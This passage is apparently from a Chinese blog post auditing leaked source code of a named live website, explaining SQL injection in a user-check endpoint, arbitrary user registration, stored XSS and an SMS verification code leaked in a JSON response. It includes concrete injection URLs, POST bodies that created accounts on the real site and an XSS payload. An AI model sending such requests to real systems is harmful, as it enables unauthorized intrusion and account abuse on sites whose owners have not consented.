这里的 query() 函数接收的参数是: sql 字符串 ,和 可变长参数 pras 。不得不说这个函数写的真的漂亮,这里使用了 String… 的特性 , 使得作者可以写更少的代码,满足更多的场景做更多的事。这个函数可以接收下面的方式的调用:

JjE7F3V.png

下面是用 prepareStatement 对象预编译这条 SQL 语句后,用一个 for 循环将参数绑定,这里的代码正好体现了预编译对象参数绑定思想。

但是这里判断用户是否注册时,传入的是一个已经封装好的 SQL 语句,参数没有经过预编译再绑定,所以这里很明显存在 SQL 注入漏洞。

1、手工验证:

分别请求:

http://www.ezchong.com/dealPhoneMessage?act=checkIsReg&usId=admin123%27or%271%27=%272

http://www.ezchong.com/dealPhoneMessage?act=checkIsReg&usId=admin123%27or%271%27=%271

IR7Rfer.png

第二个截图传值:admin’or’1’=’1 这是一个典型的SQL注入绕过参数。

1、SQLMAP验证:

ayqMJba.jpg

此时已经无需多说,漏洞就摆在这里了!

6.用户注册逻辑绕过实现任意用户注册

首先看到用户注册处理逻辑的代码截图如下:

aEfUBbi.png

依我我审计水平在上面的 doPost 函数实现代码上,能看到存在 4 个漏洞。

  • 预编译用法的错误使用导致的 SQL 注入漏洞
  • 任意用户注册漏洞
  • 潜在的 XSS 漏洞
  • 跨站请求伪造 CSRF 漏洞

这里的 SQL 注入漏洞依然还是先拼接 SQL 语句导致的,和上面发现的 2 处注入点是一样的。

这里的任意用户注册漏洞很好理解,从这里的实现逻辑分析,从客户端的 POST 请求中获取各种用户信息的值,然后先执行有 SQL 注入漏洞的查询语句,如果未查询到该用户名的记录,就直接把获取到的信息作为新用户添加到数据库记录里。也就是说,我们直接带上用户注册页面上必填的注册信息直接 POST 请求这个 Servlet 地址,服务器会直接给我们新加一个我们随意控制的用户,完全不用输入验证码短信!

这里的潜在的 XSS 漏洞,是因为这里作为用户信息的输入点和保存到数据库的 SQL 插入点,这里没有对我们的输入值进行 XSS 过滤处理,那么我们可以构造 XSS 攻击脚本进行 XSS 攻击。。

CSRF 请求伪造漏洞倒是有些牵强,如果这里是管理员调用来添加新用户的 Servlet 就可以说攻击者可以利用 CSRF 让管理悄悄加个用户。但是,那样的话这里还不如叫越权添加用户呢,这里很明显连基本的权限判断都没有做。

一些证明

构造POST请求添加两个新用户: fuckme 和 FuckGod

Post 参数: username=fuckme&email=111&tel=222&password=123456

Bv2aYjj.png

Post 参数: username=FuckGod&email=111111111@baidu.com&tel=188888888&password=123456

QzY7Nj.png

这里的 XSS 漏洞没有找到用户信息的输出点,不过这里的用户名是一个输出点。但是要注意的是这里的 XSS payload 里面要避免单引号,双引号出现,因为在插入之前有个存在 SQL 注入的查询,单双引号可能破坏上面的查询导致不会执行到下面的添加用户的流程,我构造的 payload 简单如:

POST 参数:username=FuckaGod<script>alert(1);</script>&email=111111111@baidu.com&tel=188888888&password=123456

VJnmmqE.png

7.验证码短信绕过实现任意手机号注册

这个漏洞的发现更简单,先黑盒分析:

我们观察一下发送验证码的过程,先输入手机号,然后输入图形验证码,然后点击发送验证短信:

http://www.ezchong.com/dealPhoneMessage?act=sendSMS&phone=15555555555

FJRNFbN.png

可以看到截图的右边,发送验证码请求的响应里面是一个 JSON 对象,里面有 message 和 isSuccess , message 是一个 6 位数的字符串,相信你的直觉这就是发送到注册手机上的验证码。为了知其所以然,我们定位到这段逻辑处理的服务端代码:

BN7NNb3.png

服务器端通过 Java 的 Random 类以 899999 作为种子数生成一个随机数然后加 100000 所得到随机数验证码,关于 Random 产生随机数的类我所知道的是这个类产生的随机数是不安全的因为在同一环境用同样的种子是可以预测每一次将要产生的随机数的:

贴一张做程序猿时测试的贴图:

rIRRveA.png

结果: r1 产生的随机数

3
0
3
0
++++++++++++++++++++++
3       r2产生的随机数
0
3
0

换成:

System.out.println(r1.nextDouble(5))System.out.println(r2.nextDouble(5))

结果:

0.7304302967434272
0.2578027905957804
0.059201965811244595
0.24411725056425315
++++++++++++++++++++++
0.7304302967434272
0.2578027905957804
0.059201965811244595
0.24411725056425315

不过目前我还没有遇到因为这个 Random 随机数可被预测,失去随机性的案例(也可能是自己认知上存在问题,希望大牛指点 ! )

这里的问题在于代码 829 行:

data.put(“message”,

result);

这里不应该把发给用户的验证码添加到 JSON 对象返回给客户端,现在攻击者完全不用看手机短信就知道用户收到的验证码是多少了,从而就可以伪造任意手机号进行注册。

写到这里实在不想写了,基本都是这些类型的漏洞太多了最后贴一张图片!

VZFNri.png

提示:在某一个端口有 xxx

  1. 最后总结

  1. 代码托管平台是个很好的获得各种源代码的地方。
  2. 作为企业或公司的员工,一定要注意保护自己企业的隐私。
  3. 菜鸟学审计,不知哪门飞,望老鸟们带路。